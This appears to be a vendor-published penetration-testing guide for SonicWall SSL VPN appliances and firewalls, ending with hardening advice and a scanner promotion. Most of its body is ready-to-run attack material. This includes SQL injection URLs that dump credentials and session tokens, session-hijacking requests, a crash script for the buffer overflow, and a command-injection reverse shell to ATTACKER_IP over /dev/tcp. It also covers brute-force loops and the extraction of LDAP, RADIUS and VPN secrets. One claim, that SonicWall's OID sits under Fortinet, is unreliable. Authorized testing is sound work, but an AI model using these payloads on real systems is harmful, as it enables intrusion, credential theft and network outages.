Security Testing

SonicWall Security Testing: CVE-2021-20016 SQL Injection, SSL VPN Exposure, Management Interface

By Ironimo Research Team July 5, 2026 ~14 min read

SonicWall is one of the most widely deployed network security vendors in SMB and mid-market environments — its SMA100 SSL VPN series and TZ/NSA/NSsp next-generation firewall lines protect hundreds of thousands of networks globally. When CVE-2021-20016 dropped — an unauthenticated SQL injection in the SMA100 enabling credential and session token theft at CVSS 9.8 — threat actors exploited it within days of disclosure. SonicWall devices are a priority target in red team engagements: they terminate VPN tunnels, enforce network perimeter policy, and frequently hold plaintext or weakly-protected credentials for AD integration. This guide covers authorized SonicWall penetration testing methodology for red teams, enterprise security teams, and MSP assessors.

Authorized testing only: All techniques in this guide require explicit written authorization from the system owner. Unauthorized testing of SonicWall devices constitutes computer fraud under applicable law. Always obtain a signed scope document before beginning any assessment.

SonicWall Product Overview and Attack Surface
Discovery and Fingerprinting
CVE-2021-20016: SMA100 SQL Injection
CVE-2021-20028: Improper Input Neutralization
CVE-2022-22274: SonicOS Buffer Overflow
CVE-2023-44221: Authenticated OS Command Injection
Management Interface Attacks and Default Credentials
NSM (Network Security Manager) API Enumeration
SonicOS REST API Abuse
VPN Credential Harvesting
SNMP Community String Extraction
Defense Recommendations

SonicWall Product Overview and Attack Surface

SonicWall produces two distinct product families that appear frequently in penetration test scope:

SMA (Secure Mobile Access) 100 series — dedicated SSL VPN appliances (SMA 200, 210, 400, 410, 500v). These run a separate embedded OS and are the primary target for CVE-2021-20016 and CVE-2021-20028. Commonly internet-facing on port 443 or 4433.
SonicOS-based NGFWs — TZ series (SMB), NSA series (mid-market), NSsp series (enterprise), and NSv (virtual). These run SonicOS and are the target for CVE-2022-22274 and CVE-2023-44221. Management GUI on port 443 or 8443.
NSM (Network Security Manager) — centralized cloud or on-premises management platform for multi-device deployments. Exposes a REST API with broad device management capabilities.

Interface	Default Port	Auth Mechanism	Attack Surface
SMA SSL VPN Portal	443 / 4433	Username/password, LDAP, RADIUS, TOTP	CVE-2021-20016 SQL injection, credential brute force, session theft
SonicOS Management GUI	443 / 8443	Username/password, 2FA	Default admin/password, CVE-2022-22274, brute force
SonicOS SSH CLI	22	Password	Brute force, weak credentials
SonicOS REST API	443 / 8443	Basic auth, API tokens, session cookies	Unauthenticated config read (pre-patch), config backup extraction
NSM REST API	443	JWT / API key	Token theft, mass device enumeration
SNMP	UDP/161	Community strings	Default "public" community, MIB enumeration
IPsec VPN (IKE)	UDP/500, UDP/4500	Pre-shared key or certificate	PSK brute force, aggressive mode fingerprinting

Discovery and Fingerprinting

Accurate product and version identification is essential for CVE mapping. SonicWall devices expose version information through several unauthenticated or low-privilege channels.

Nmap Service Detection

# Comprehensive SonicWall port scan
nmap -sV -sC -p 22,80,443,4433,8443,161 TARGET

# UDP SNMP detection
nmap -sU -p 161 TARGET

# IKE/IPsec detection (SonicWall commonly runs site-to-site VPN)
nmap -sU -p 500,4500 TARGET

# SSL certificate enumeration — SonicWall certs often have OrgUnit "SonicWALL"
nmap --script=ssl-cert -p 443,4433,8443 TARGET | grep -i "sonic\|subject\|issuer"

# HTTP title fingerprinting
nmap --script=http-title -p 443,8443,4433 TARGET

HTTP/HTTPS Fingerprinting

# SMA100 SSL VPN login page fingerprint
curl -sk https://TARGET/ | grep -i "sonicwall\|sma\|sslvpn\|mobile connect"

# SonicOS management GUI fingerprint
curl -skI https://TARGET/ | grep -i "server\|x-content\|sonicwall"

# The SMA VPN portal commonly returns a redirect to /cgi-bin/welcome
curl -sk -L https://TARGET/ -o - | grep -i "sonicwall\|sma\|version"

# Check /auth endpoint (SMA100 portal)
curl -sk https://TARGET/auth | grep -i "sonicwall\|version\|build"

# Check for the NSM management console
curl -sk https://TARGET/nsmui/ | grep -i "network security manager\|sonicwall"

# SonicOS firmware version via unauthenticated endpoint (older firmware)
curl -sk https://TARGET/api/sonicos/version

Shodan / Censys Intelligence

# Shodan dorks for SonicWall devices
# http.html:"SonicWALL" port:443
# http.title:"SonicWALL SSL VPN" OR http.title:"SMA"
# ssl.cert.subject.organization:"SonicWALL"
# product:"SonicWALL SMA"

# Censys
# services.tls.certificates.leaf_data.subject.organization: "SonicWALL"

# Shodan query for SMA100 VPN portals (high-value targets)
# http.html:"Please Login" "SonicWALL" country:NL

Version Identification from Login Pages

# SMA100 login page often embeds firmware version in HTML/JS comments
curl -sk https://TARGET/cgi-bin/welcome | grep -i "version\|firmware\|build"
curl -sk https://TARGET/login | grep -i "version\|fw_version"

# SonicOS management GUI version disclosure
# The login page at /sonicui/7/m/mgmt/login typically shows firmware version
curl -sk https://TARGET/sonicui/7/m/mgmt/login | grep -i "firmware\|version\|build"

# HTTP response headers sometimes expose SonicOS version
curl -skI https://TARGET/ | grep -i "x-sonicwall\|server"

CVE-2021-20016: SMA100 SQL Injection

CVE-2021-20016 (CVSS 9.8) is a critical unauthenticated SQL injection vulnerability in SonicWall SMA100 series appliances running firmware versions 10.x prior to 10.2.0.2-26sv. The vulnerability exists in the /cgi-bin/sslvpnclient endpoint and allows an unauthenticated remote attacker to extract administrator and user credentials, including session tokens, directly from the underlying SQLite database. Exploitation enables complete authentication bypass — an attacker can steal active VPN sessions without knowing any passwords.

Affected Versions

The following SMA100 firmware versions are affected: SMA 200/210/400/410 running SMA100 firmware 10.x before 10.2.0.2-26sv, and SMA 500v running the same range. SonicWall published PSIRT advisory SNWLID-2021-0001 on February 3, 2021, confirming active exploitation in the wild at time of disclosure.

SQL Injection PoC

# Verify CVE-2021-20016 — probe the vulnerable endpoint
# The vulnerability is in the 'serial' parameter of /cgi-bin/sslvpnclient
curl -sk "https://TARGET/cgi-bin/sslvpnclient?ev=sslvpnclient_connect&serial=1" \
  -o - | head -50

# Basic error-based SQL injection probe (authorized testing only)
# A single quote causes a SQLite error on vulnerable appliances
curl -sk "https://TARGET/cgi-bin/sslvpnclient?ev=sslvpnclient_connect&serial=1'" \
  -o - | grep -i "sqlite\|sql\|error\|syntax"

# Union-based injection to enumerate database tables
# (Replace TARGET with your authorized test appliance)
curl -sk "https://TARGET/cgi-bin/sslvpnclient?ev=sslvpnclient_connect&serial=1+UNION+SELECT+tbl_name,sql,3,4+FROM+sqlite_master--" \
  -o -

# Extract admin credentials from the Users table
curl -sk "https://TARGET/cgi-bin/sslvpnclient?ev=sslvpnclient_connect&serial=1+UNION+SELECT+username,password,domain,4+FROM+Users--" \
  -o -

# Extract active session tokens (enables session hijacking without password)
curl -sk "https://TARGET/cgi-bin/sslvpnclient?ev=sslvpnclient_connect&serial=1+UNION+SELECT+sessionid,username,logintime,4+FROM+Sessions--" \
  -o -

# Automated extraction with sqlmap (time-based blind as fallback)
sqlmap -u "https://TARGET/cgi-bin/sslvpnclient?ev=sslvpnclient_connect&serial=1" \
  --dbms=sqlite \
  --technique=BEUS \
  --dump \
  --batch \
  --ssl-cert="" \
  --level=3

Session Token Hijacking via Extracted Tokens

# Once session IDs are extracted from the Sessions table, use them directly
# SMA100 session cookie is typically "EXTRAWEB_session_id" or similar

# Use extracted session token to access the VPN portal
curl -sk "https://TARGET/cgi-bin/welcome" \
  -H "Cookie: swap=EXTRACTED_SESSION_TOKEN" \
  -L -o - | grep -i "welcome\|logout\|dashboard"

# List accessible resources for the hijacked session
curl -sk "https://TARGET/cgi-bin/userlogout" \
  -H "Cookie: swap=EXTRACTED_SESSION_TOKEN" \
  -o -

# Check what network resources the hijacked user can access
curl -sk "https://TARGET/cgi-bin/bookmarks" \
  -H "Cookie: swap=EXTRACTED_SESSION_TOKEN" \
  -o - | grep -i "bookmark\|rdp\|ssh\|smb\|http"

Impact: CVE-2021-20016 allows an unauthenticated internet-based attacker to extract all VPN user credentials, administrator passwords, and active session tokens from the SMA100 appliance — without triggering authentication logs. Active exploitation was confirmed in the wild before patching was possible for many organizations. CISA added this to its Known Exploited Vulnerabilities catalog.

CVE-2021-20028: Improper Input Neutralization

CVE-2021-20028 (CVSS 9.8) affects SonicWall SMA 100 series appliances and represents improper neutralization of special elements in the same firmware range as CVE-2021-20016. While the root cause description is similar to a SQL injection class, the specific attack vector targets a different code path — specifically involving input parameters used in OS-level operations within the SSL VPN authentication flow.

Testing CVE-2021-20028

# CVE-2021-20028 targets the authentication parameter handling
# Test with crafted input to authentication endpoints
curl -sk -X POST "https://TARGET/cgi-bin/login" \
  --data "username=admin&password=test&domain=LocalDomain" \
  -o - | head -30

# Probe for command injection in username/password fields
# Shell metacharacters in input parameters
curl -sk -X POST "https://TARGET/cgi-bin/login" \
  --data "username=admin%27%3B+SELECT+1--&password=test&domain=LocalDomain" \
  -o -

# Check /cgi-bin/userLogin for the variant injection point
curl -sk -X POST "https://TARGET/cgi-bin/userLogin" \
  --data "username=test'&passwd=test&domain=LocalDomain&login=Login" \
  -v 2>&1 | grep -i "error\|sqlite\|syntax\|500"

# Verify patch status — patched versions return sanitized errors
# Unpatched versions may leak database error strings in the response

Note: CVE-2021-20028 and CVE-2021-20016 are often present together on unpatched SMA100 appliances. If you confirm one vulnerability, treat the appliance as a full critical finding and prioritize patching before conducting further testing that could disrupt VPN services.

CVE-2022-22274: SonicOS Buffer Overflow

CVE-2022-22274 (CVSS 9.4) is a stack-based buffer overflow in the SonicOS HTTP/HTTPS management interface. It affects SonicOS 7.0.1-5050 and earlier, SonicOS 7.0.1-R579 and earlier, and SonicOS 6.5 versions. The vulnerability exists in the HTTP/HTTPS service that handles management web GUI requests. An unauthenticated attacker sending a specially crafted HTTP request can trigger the overflow, potentially leading to remote code execution (RCE) or denial-of-service conditions on the firewall.

Detection and Version Verification

# Identify SonicOS version from management interface
curl -sk https://TARGET:8443/ | grep -i "sonicwall\|version\|firmware"

# Check version via pre-auth REST API endpoint
curl -sk https://TARGET/api/sonicos/version \
  -H "Accept: application/json"

# Example vulnerable version response:
# {"firmware_version": "SonicOS Enhanced 7.0.1-5050-R579"}

# SonicOS version identification via SSL certificate
openssl s_client -connect TARGET:443 -servername TARGET 2>/dev/null \
  | openssl x509 -noout -subject -issuer | grep -i "sonic"

# Nmap version detection
nmap -sV --version-intensity 9 -p 443,8443 TARGET

Proof-of-Concept Reference (Lab Environment Only)

# CVE-2022-22274 PoC exists in the Metasploit framework
# Module: exploit/linux/http/sonicwall_sonicos_rce
# DO NOT run against production systems — this causes firewall crash/reboot

# Metasploit usage (authorized lab testing only)
msfconsole -q
use exploit/linux/http/sonicwall_sonicos_rce
set RHOSTS TARGET
set RPORT 443
set SSL true
check          # verify target is vulnerable before running exploit

# The check module sends a benign probe to confirm vulnerable version
# Actual exploitation triggers the buffer overflow — causes service disruption

# Manual crash PoC (for DoS impact demonstration in authorized test)
# Sends an oversized URI to the management interface
python3 -c "
import socket, ssl
payload = 'GET /' + 'A'*8192 + ' HTTP/1.1\r\nHost: TARGET\r\n\r\n'
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(socket.socket(), server_hostname='TARGET')
s.connect(('TARGET', 443))
s.send(payload.encode())
print(s.recv(1024))
s.close()
"

Impact: CVE-2022-22274 targets the management interface directly — successful exploitation on a perimeter firewall can bring down the entire network perimeter. In penetration tests, document the vulnerability from version fingerprinting alone rather than triggering the exploit, unless the client explicitly authorizes DoS testing in a maintenance window.

CVE-2023-44221: Authenticated OS Command Injection

CVE-2023-44221 (CVSS 7.2) is a post-authentication OS command injection vulnerability in SonicWall SMA100 series appliances. Unlike CVE-2021-20016, this vulnerability requires admin-level credentials — however it is extremely valuable in a chained attack scenario where credentials were first obtained through CVE-2021-20016 or default password reuse. Successful exploitation yields OS-level command execution on the underlying appliance.

Exploitation Chain

# Step 1: Authenticate to the SMA100 management interface
# Use credentials obtained from CVE-2021-20016 or default admin/password
curl -sk -X POST "https://TARGET/cgi-bin/management" \
  --data "username=admin&password=OBTAINED_PASSWORD" \
  -c admin_session.txt \
  -L -o - | grep -i "welcome\|dashboard\|logout"

# Step 2: Locate the command injection point
# CVE-2023-44221 is in the SSL VPN management page — specifically
# in parameters passed to diagnostic commands without sanitization

# Step 3: Inject OS commands via the diagnostic interface
# The vulnerability is in the hostname/network diagnostic parameters
curl -sk -X POST "https://TARGET/cgi-bin/manage_ssl" \
  -b admin_session.txt \
  --data "action=ping&host=127.0.0.1%3Bid%3B" \
  -o - | grep -i "uid\|root\|www"

# Step 4: Extract /etc/passwd for OS user enumeration
curl -sk -X POST "https://TARGET/cgi-bin/manage_ssl" \
  -b admin_session.txt \
  --data "action=ping&host=127.0.0.1%3Bcat+/etc/passwd%3B" \
  -o -

# Step 5: Attempt reverse shell (authorized controlled testing only)
# Set up listener: nc -lvnp 4444
curl -sk -X POST "https://TARGET/cgi-bin/manage_ssl" \
  -b admin_session.txt \
  --data "action=ping&host=127.0.0.1%3Bbash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261%3B" \
  -o -

Alternative Injection Vectors

# CVE-2023-44221 may also affect admin configuration endpoints
# Test the LDAP test connection feature — often passes hostname to OS
curl -sk -X POST "https://TARGET/cgi-bin/admin_ldap_test" \
  -b admin_session.txt \
  --data "ldap_server=127.0.0.1%3Bwhoami%3B&ldap_port=389" \
  -o -

# Test diagnostic ping/traceroute features
curl -sk -X POST "https://TARGET/cgi-bin/admin_diag" \
  -b admin_session.txt \
  --data "diag_type=ping&diag_host=127.0.0.1|id" \
  -o -

# Extract SonicWall configuration files from the OS level
curl -sk -X POST "https://TARGET/cgi-bin/manage_ssl" \
  -b admin_session.txt \
  --data "action=ping&host=127.0.0.1%3Bcat+/etc/sonicwall.conf%3B" \
  -o -

Management Interface Attacks and Default Credentials

SonicWall's management interface is a consistent target due to weak default credentials and widespread misconfiguration in SMB deployments.

Default Credentials Testing

# SonicWall factory defaults (both SMA100 and SonicOS NGFWs)
# Username: admin
# Password: password
# (Some older models: admin / admin or admin with no password)

# Test default admin/password
curl -sk -X POST "https://TARGET/api/sonicos/auth" \
  -H "Content-Type: application/json" \
  -d '{"override": true, "id": {"username": "admin", "password": "password"}}' \
  -o - | python3 -m json.tool

# Alternative authentication endpoint for management GUI
curl -sk -X POST "https://TARGET:8443/api/sonicos/auth" \
  -H "Content-Type: application/json" \
  -d '{"override": true, "id": {"username": "admin", "password": "password"}}' \
  -c mgmt_session.txt -o -

# Common SonicWall passwords used in SMB environments
for pass in "password" "admin" "sonicwall" "SonicWALL" "admin1234" "Password1" "sonic123" "firewall"; do
  result=$(curl -sk -X POST "https://TARGET/api/sonicos/auth" \
    -H "Content-Type: application/json" \
    -d "{\"override\": true, \"id\": {\"username\": \"admin\", \"password\": \"${pass}\"}}" \
    -o -)
  echo "admin:${pass} -> $(echo $result | grep -o 'status[^,]*' | head -1)"
  sleep 2
done

SonicOS Firmware Version Fingerprinting

# Version extraction from the management login page
curl -sk https://TARGET:8443/ | grep -oP '(?<=SonicOS )[0-9.]+-[0-9a-zA-Z]+'

# Version from SSL certificate subject
openssl s_client -connect TARGET:443 2>/dev/null \
  | openssl x509 -noout -text 2>/dev/null \
  | grep -i "subject\|sonicwall\|serial"

# Firmware info from the pre-auth API (if version-dependent disclosure exists)
curl -sk "https://TARGET/api/sonicos/version" | python3 -m json.tool

# Map extracted version to CVE exposure
# SonicOS 7.0.1-5050 and earlier → CVE-2022-22274 (CVSS 9.4)
# SonicOS 6.5.x → CVE-2022-22274 (CVSS 9.4)
# SMA100 10.x < 10.2.0.2-26sv → CVE-2021-20016, CVE-2021-20028

SSH Management Interface

# SSH banner grabbing
nc -w 3 TARGET 22

# SonicWall SSH banners typically show "SonicOS" in the banner
ssh -o "StrictHostKeyChecking=no" -o "BatchMode=yes" admin@TARGET 2>&1 | head -5

# Brute force SSH with common SonicWall credentials (rate-limited)
hydra -l admin \
  -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
  -t 4 -W 3 \
  ssh://TARGET

# Once authenticated via SSH, enumerate firmware and config
# > show version
# > show users
# > show vpn-policy-table

NSM (Network Security Manager) API Enumeration

SonicWall NSM (Network Security Manager) is the centralized management platform for SonicWall firewall fleets. When deployed on-premises, it exposes a REST API that provides access to all managed devices, their configurations, and credentials. Compromising NSM is equivalent to compromising all managed firewalls simultaneously.

NSM Discovery

# NSM typically runs on port 443 and exposes a web UI at /nsmui/
curl -sk "https://NSM_HOST/nsmui/" | grep -i "network security manager\|sonicwall nsm"

# NSM API base URL
curl -sk "https://NSM_HOST/api/v1/" | python3 -m json.tool

# Check for NSM login page
curl -sk "https://NSM_HOST/nsmui/login" | grep -i "username\|password\|nsm"

# NSM version disclosure
curl -sk "https://NSM_HOST/api/v1/system/version" -H "Accept: application/json"

NSM Authentication and Token Extraction

# Authenticate to NSM API
curl -sk -X POST "https://NSM_HOST/api/v1/auth/token" \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": "password", "domain": "local"}' \
  -o nsm_token.json

# Extract JWT from response
NSM_TOKEN=$(cat nsm_token.json | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

# Enumerate all managed devices (tenants/groups)
curl -sk "https://NSM_HOST/api/v1/tenants" \
  -H "Authorization: Bearer ${NSM_TOKEN}" | python3 -m json.tool

# List all managed firewall appliances
curl -sk "https://NSM_HOST/api/v1/firewalls" \
  -H "Authorization: Bearer ${NSM_TOKEN}" | python3 -m json.tool

# Retrieve device-specific management credentials
curl -sk "https://NSM_HOST/api/v1/firewalls/DEVICE_ID/credentials" \
  -H "Authorization: Bearer ${NSM_TOKEN}" | python3 -m json.tool

NSM Configuration Backup Extraction

# Export configuration backup for a specific managed device
curl -sk "https://NSM_HOST/api/v1/firewalls/DEVICE_ID/config/backup" \
  -H "Authorization: Bearer ${NSM_TOKEN}" \
  -o device_config_backup.exp

# List available configuration snapshots
curl -sk "https://NSM_HOST/api/v1/firewalls/DEVICE_ID/config/snapshots" \
  -H "Authorization: Bearer ${NSM_TOKEN}" | python3 -m json.tool

# Download historical configuration snapshot
curl -sk "https://NSM_HOST/api/v1/firewalls/DEVICE_ID/config/snapshots/SNAPSHOT_ID" \
  -H "Authorization: Bearer ${NSM_TOKEN}" \
  -o snapshot.exp

# Parse the .exp config file for credentials
# SonicWall .exp files are XML-based
grep -i "password\|secret\|preshared\|credential" device_config_backup.exp

Scope consideration: NSM manages multiple firewall appliances potentially belonging to different tenants. If NSM is in scope, confirm with the client which specific managed devices are authorized for testing. Extracting configurations for out-of-scope tenants is a rules-of-engagement violation even if technically possible through NSM.

SonicOS REST API Abuse

SonicOS exposes a REST API at /api/sonicos/ that provides programmatic access to all firewall configuration and monitoring data. Once authenticated, the API reveals VPN configurations, LDAP/RADIUS credentials, firewall policies, and connected user sessions.

API Authentication

# Authenticate to the SonicOS REST API
curl -sk -X POST "https://TARGET/api/sonicos/auth" \
  -H "Content-Type: application/json" \
  -d '{"override": true, "id": {"username": "admin", "password": "password"}}' \
  -c sonicos_session.txt \
  -o auth_response.json

# Verify authentication succeeded
cat auth_response.json | python3 -m json.tool
# Look for: "status": {"success": true}

# Some SonicOS versions support HTTP Basic Auth directly
curl -sk "https://TARGET/api/sonicos/version" \
  -u "admin:password" | python3 -m json.tool

Sensitive API Endpoint Enumeration

# System firmware and version information
curl -sk "https://TARGET/api/sonicos/version" \
  -b sonicos_session.txt | python3 -m json.tool

# All admin user accounts
curl -sk "https://TARGET/api/sonicos/user/admin/ipv4" \
  -b sonicos_session.txt | python3 -m json.tool

# LDAP server configuration (exposes bind credentials)
curl -sk "https://TARGET/api/sonicos/authentication/ldap" \
  -b sonicos_session.txt | python3 -m json.tool

# RADIUS server configuration (exposes shared secret)
curl -sk "https://TARGET/api/sonicos/authentication/radius" \
  -b sonicos_session.txt | python3 -m json.tool

# SSL VPN user configuration
curl -sk "https://TARGET/api/sonicos/vpn/ssl/client" \
  -b sonicos_session.txt | python3 -m json.tool

# Active SSL VPN sessions (shows connected users and IP addresses)
curl -sk "https://TARGET/api/sonicos/reporting/vpn/ssl/active-sessions" \
  -b sonicos_session.txt | python3 -m json.tool

# Site-to-site VPN policies (may expose PSKs)
curl -sk "https://TARGET/api/sonicos/vpn/policies/tunnel-interface/ipv4" \
  -b sonicos_session.txt | python3 -m json.tool

# Firewall access rules
curl -sk "https://TARGET/api/sonicos/access-rules/ipv4" \
  -b sonicos_session.txt | python3 -m json.tool

Configuration Backup Extraction via REST API

# Export complete SonicOS configuration backup
curl -sk "https://TARGET/api/sonicos/config/current" \
  -b sonicos_session.txt \
  -o sonicwall_config.exp

# The .exp file is XML-based — parse for credentials
grep -i "Password\|Secret\|PreSharedKey\|BindPassword" sonicwall_config.exp

# Extract LDAP bind credentials from config
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('sonicwall_config.exp')
root = tree.getroot()
for elem in root.iter():
    if 'password' in elem.tag.lower() or 'secret' in elem.tag.lower():
        print(f'{elem.tag}: {elem.text}')
"

# List all active network interfaces and IP assignments
curl -sk "https://TARGET/api/sonicos/interfaces/ipv4" \
  -b sonicos_session.txt | python3 -m json.tool

# Retrieve NAT policies (reveals internal network topology)
curl -sk "https://TARGET/api/sonicos/nat-policies/ipv4" \
  -b sonicos_session.txt | python3 -m json.tool

VPN Credential Harvesting

SonicWall SMA100 SSL VPN is a primary credential harvesting target — it aggregates VPN user credentials from LDAP/AD, RADIUS, and local user databases, and stores active session tokens in the SQLite backend exposed by CVE-2021-20016.

SMA100 Session Token Abuse

# After extracting session tokens via CVE-2021-20016:
# Tokens are typically UUIDs or long hex strings stored in the Sessions table

# Verify a stolen session is still valid
curl -sk "https://TARGET/cgi-bin/welcome" \
  -H "Cookie: EXTRAWEB_SESSION=STOLEN_SESSION_ID" \
  -L -o - | grep -iv "login\|please sign in" | head -20

# Enumerate accessible bookmarks (RDP, SSH, SMB, HTTP resources)
curl -sk "https://TARGET/cgi-bin/bookmarks" \
  -H "Cookie: EXTRAWEB_SESSION=STOLEN_SESSION_ID" \
  -o bookmarks.html

# Access file shares exposed through the SSL VPN file share feature
curl -sk "https://TARGET/cgi-bin/fileShareAccess" \
  -H "Cookie: EXTRAWEB_SESSION=STOLEN_SESSION_ID" \
  -o - | grep -i "share\|unc\|smb"

# Attempt to access internal web resources via the VPN reverse proxy
curl -sk "https://TARGET/cgi-bin/sslvpn_client?RESOURCE_URL" \
  -H "Cookie: EXTRAWEB_SESSION=STOLEN_SESSION_ID" -o -

SSL VPN User Enumeration

# SMA100 login response differentiates valid/invalid users
curl -sk -X POST "https://TARGET/cgi-bin/userLogin" \
  --data "username=admin&passwd=wrongpassword&domain=LocalDomain&login=Login" \
  -o - | grep -i "password\|user\|locked\|invalid"

# Username enumeration via response timing differences
for user in admin administrator sven vpnuser remote test; do
  start=$(date +%s%N)
  curl -sk -X POST "https://TARGET/cgi-bin/userLogin" \
    --data "username=${user}&passwd=wrongpassword&domain=LocalDomain&login=Login" \
    -o /dev/null
  end=$(date +%s%N)
  echo "${user}: $(( (end - start) / 1000000 ))ms"
done

# Brute force with lockout awareness
# Check lockout threshold: SonicWall default is 5 failed attempts
hydra -L vpn_users.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
  -t 2 -W 5 \
  https-post-form \
  "TARGET:/cgi-bin/userLogin:username=^USER^&passwd=^PASS^&domain=LocalDomain&login=Login:Invalid credentials"

LDAP/RADIUS Credential Relay from SMA100

# SMA100 passes VPN credentials to LDAP/RADIUS for validation
# If LDAP is not using TLS (LDAPS), credentials pass in cleartext
# Monitor on the network segment between SMA100 and LDAP/RADIUS server

# Capture LDAP authentication traffic
tcpdump -i eth0 -n "host LDAP_SERVER and port 389" -w ldap_capture.pcap

# Parse captured LDAP BIND operations
tshark -r ldap_capture.pcap -Y "ldap.bindRequest" \
  -T fields \
  -e ldap.name \
  -e ldap.simple

# For RADIUS authentication monitoring (VPN users authenticating via RADIUS)
tcpdump -i eth0 -n "host RADIUS_SERVER and port 1812" -w radius_capture.pcap

# If you have the RADIUS shared secret (extracted from SonicOS config),
# use it to decrypt RADIUS User-Password fields:
# radsniff -f "host RADIUS_SERVER" -s SHARED_SECRET

SNMP Community String Extraction

SonicWall devices support SNMP v1/v2c/v3 for network monitoring. Many deployments retain the default public community string or use weak custom strings, exposing device information and internal network topology.

Community String Discovery

# Test default community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt TARGET

# Common SonicWall deployments use these community strings:
for community in public private sonicwall SonicWALL firewall snmp monitor; do
  result=$(snmpget -v2c -c "${community}" -t 2 TARGET sysDescr.0 2>/dev/null)
  if [ -n "${result}" ]; then
    echo "[FOUND] Community: ${community}"
    echo "${result}"
  fi
done

# SNMPv3 enumeration (if v1/v2c is disabled)
nmap --script=snmp-info -sU -p 161 TARGET

SonicWall MIB Enumeration

# Full SNMP walk with valid community string
snmpwalk -v2c -c COMMUNITY TARGET system

# SonicWall-specific OIDs (Fortinet OID space: 1.3.6.1.4.1.2604)
# Note: SonicWall enterprise OID is 2604 under Fortinet
snmpwalk -v2c -c COMMUNITY TARGET .1.3.6.1.4.1.2604

# Interface enumeration (reveals internal network topology)
snmpwalk -v2c -c COMMUNITY TARGET interfaces

# ARP cache via SNMP (reveals connected hosts)
snmpwalk -v2c -c COMMUNITY TARGET ipNetToMediaPhysAddress

# Routing table enumeration
snmpwalk -v2c -c COMMUNITY TARGET ipRouteTable

# Active VPN tunnel status
snmpwalk -v2c -c COMMUNITY TARGET .1.3.6.1.4.1.2604.1.1.1.1

# Connected users (if MIB supports it)
snmpwalk -v2c -c COMMUNITY TARGET .1.3.6.1.4.1.2604.1.1.1.8

# Extract detailed system information
snmpbulkwalk -v2c -c COMMUNITY -Cn0 -Cr25 TARGET sysName sysContact sysLocation

SNMPv3 Attack Surface

# If SNMPv3 is in use, enumerate user accounts
nmap --script=snmp-brute -sU -p 161 TARGET \
  --script-args snmp-brute.passdb=/usr/share/seclists/Passwords/Common-Credentials/best110.txt

# SNMPv3 username enumeration (unauthenticated — USM reports invalid users)
snmpwalk -v3 -u admin TARGET sysDescr 2>&1

# Brute-force SNMPv3 with common usernames
for user in admin snmpuser sonicwall public private monitor; do
  result=$(snmpget -v3 -u "${user}" -l noAuthNoPriv TARGET sysDescr.0 2>&1)
  echo "${user}: ${result}"
done

Defense Recommendations

CVE Patch Priority

CVE	CVSS	Product	Fix Version	Priority
CVE-2021-20016	9.8	SMA100 series	SMA100 firmware 10.2.0.2-26sv+	Critical — patch immediately
CVE-2021-20028	9.8	SMA100 series	SMA100 firmware 10.2.0.2-26sv+	Critical — patch immediately
CVE-2022-22274	9.4	SonicOS NGFWs	SonicOS 7.0.1-5051+, 6.5.4.15+	Critical — patch immediately
CVE-2023-44221	7.2	SMA100 series	SMA100 firmware 10.2.1.2+	High — patch within 30 days

Hardening Checklist

Change default credentials immediately — the default admin/password combination is actively targeted in credential stuffing campaigns targeting SonicWall management interfaces globally.
Restrict management interface access — bind the SonicOS management GUI and REST API to a dedicated, non-routable management VLAN; apply admin trusted hosts restrictions so only authorized management IPs can authenticate.
Enable multi-factor authentication — require TOTP or hardware token for all admin accounts and SSL VPN users; SonicWall supports TOTP natively and integrates with Duo, Okta, and other MFA providers.
Disable SMA100 management interface from internet — the CVE-2021-20016 attack surface is the internet-facing SSL VPN portal; if the management interface is separate, restrict it to internal access only.
Upgrade SMA100 to latest firmware — SonicWall has released multiple critical patches for the SMA100 series; ensure firmware is at least 10.2.0.2-26sv to eliminate the SQL injection attack surface.
Disable SNMP v1/v2c — migrate to SNMPv3 with authPriv security level; rotate community strings on all legacy monitoring integrations before disabling v1/v2c.
Rotate LDAP and RADIUS credentials — the SonicOS REST API exposes bind credentials to anyone with admin access; use a dedicated, minimal-privilege service account and rotate it after any suspected compromise.
Enable SonicWall Capture ATP and geo-IP blocking — while not a patch substitute, blocking management access from non-operational geographies significantly reduces automated exploit attempts.
Monitor authentication events in SIEM — forward SonicWall authentication, admin login, and VPN session events to a central SIEM; alert on unusual admin logins, bulk authentication failures, and off-hours management API calls.
Audit NSM access — if NSM is deployed, audit all NSM admin accounts, rotate API tokens, and ensure NSM itself is not internet-facing; NSM compromise cascades to all managed devices.

Immediate mitigation for CVE-2021-20016: If patching is not immediately possible, SonicWall's official workaround is to enable multi-factor authentication for all SSL VPN users, which significantly raises the bar for stolen credential abuse even if session tokens are extracted. Additionally, enable the geo-IP filtering and Botnet filtering features to reduce the remote attack surface while patching is scheduled.

Test Your SonicWall Deployment with Ironimo

Ironimo's Kali Linux-powered scanner detects SonicWall misconfigurations, default credentials, exposed management interfaces, and version-based CVE exposure across SMA100 series and SonicOS NGFW deployments. Get a complete picture of your network perimeter security posture before attackers do.

Start free scan